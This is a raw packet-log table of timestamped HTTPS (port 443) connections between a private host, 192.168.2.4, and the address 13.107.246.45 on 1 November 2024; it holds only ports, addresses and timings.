Nov 1, 2024 05:53:42.378763914 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.379152060 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.379158020 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.440093040 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.440613031 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.440624952 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.441180944 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.441185951 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.470310926 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.470336914 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.470374107 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.470480919 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.470700979 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.470712900 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.470721960 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.470726967 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.473210096 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.473237038 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.473316908 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.473432064 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.473449945 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.508274078 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.508317947 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.508402109 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.508578062 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.508594990 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.508605957 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.508613110 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.511001110 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.511023998 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.511094093 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.511220932 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.511240005 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.569742918 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.569777966 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.569823980 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.569848061 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.569883108 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.570085049 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.570095062 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.570105076 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.570108891 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.572344065 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.572360992 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.572431087 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.572551012 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.572561026 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.854329109 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.854996920 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.855010033 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.855384111 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.855389118 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.984472036 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.984695911 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.984771967 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.984882116 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.984894037 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.984910011 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.984915972 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.987921000 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.987946033 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.988024950 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.988157988 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.988173008 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.005464077 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.005973101 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.005984068 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.006412983 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.006417990 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.135596991 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.135638952 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.135693073 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.135941982 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.135950089 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.135957956 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.135962009 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.138844013 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.138863087 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.138943911 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.139116049 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.139132023 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.204483032 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.204879045 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.204896927 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.205399036 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.205404043 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.274825096 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.275230885 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.275253057 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.275639057 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.275645018 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.311237097 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.311825991 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.311835051 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.312446117 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.312450886 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.333817005 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.333874941 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.333939075 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.334110022 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.334120989 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.334136963 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.334141970 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.336958885 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.336982012 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.337075949 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.337215900 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.337227106 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.409502983 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.409522057 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.409552097 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.409615993 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.409892082 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.409908056 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.409917116 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.409923077 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.413007021 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.413032055 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.413110018 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.413252115 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.413261890 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.442082882 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.442153931 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.442240953 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.442400932 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.442409039 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.442437887 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.442442894 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.444854975 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.444884062 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.444976091 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.445154905 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.445171118 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.813050985 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.813524961 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.813544989 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.814058065 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.814066887 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.858412027 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.858948946 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.858963013 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.859370947 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.859375954 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.941914082 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.942063093 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.942135096 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.942240953 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.942253113 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.942264080 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.942270041 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.944766998 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.944789886 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.944863081 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.944986105 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.945002079 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.986615896 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.986634970 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.986671925 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.986805916 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.987047911 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.987057924 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.987068892 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.987073898 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.990031958 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.990145922 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:43.990236044 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.990418911 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:43.990454912 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.065439939 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.066118002 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.066129923 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.066550016 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.066555023 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.141752958 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.142137051 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.142159939 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.142549992 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.142554998 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.195549011 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.195674896 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.195787907 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.195837975 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.195854902 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.195902109 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.195908070 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.198337078 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.198367119 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.198434114 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.198561907 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.198576927 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.271579027 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.271595955 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.271703959 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.271792889 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.271792889 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.271975040 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.271982908 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.271991968 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.271996021 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.274848938 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.274910927 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.274980068 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.275118113 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.275157928 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.678689003 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.679236889 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.679253101 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.679693937 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.679699898 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.742341995 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.743138075 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.743175030 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.743639946 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.743645906 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.805708885 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.805762053 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.805896044 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.805958986 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.806018114 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.806026936 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.806035995 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.806040049 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.808842897 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.808864117 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.809015989 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.809169054 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.809181929 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.815079927 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.815407038 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.815427065 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.815790892 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.815795898 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.876243114 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.876260996 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.876298904 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.876540899 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.876666069 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.876666069 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.876686096 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.876696110 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.879221916 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.879245996 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.879311085 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.879429102 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.879440069 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.927059889 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.928051949 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.928061962 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.928463936 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.928467989 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.944031954 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.944050074 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.944082975 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.944109917 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.944133997 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.944256067 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.944256067 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.944272995 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.944282055 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.946530104 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.946557999 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:44.946753979 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.946753979 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:44.946778059 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.008465052 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.009001017 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.009025097 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.009460926 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.009468079 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.056771040 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.056972027 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.057049990 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.057080030 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.057086945 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.057097912 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.057102919 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.060013056 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.060040951 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.060126066 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.060283899 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.060297012 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.137806892 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.137856007 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.138063908 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.138098001 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.138114929 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.138124943 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.138129950 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.140774012 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.140788078 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.140873909 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.141026020 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.141036987 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.535954952 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.538187981 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.538199902 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.538856983 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.538862944 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.607625961 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.608156919 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.608175993 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.608617067 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.608620882 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.663234949 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.663439989 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.663494110 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.663976908 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.683530092 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.683537006 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.683546066 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.683548927 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.686417103 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.686428070 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.687247992 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.687252998 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.690421104 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.690469027 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.690561056 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.734761953 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.734783888 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.736162901 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.736208916 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.736253977 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.736531019 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.736545086 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.736555099 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.736560106 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.740993977 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.741019011 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.741077900 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.741419077 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.741430998 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.800960064 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.801367044 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.801383018 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.801788092 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.801793098 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.810406923 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.810431004 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.810497046 CET	50013	443	192.168.2.4	13.107.246.45
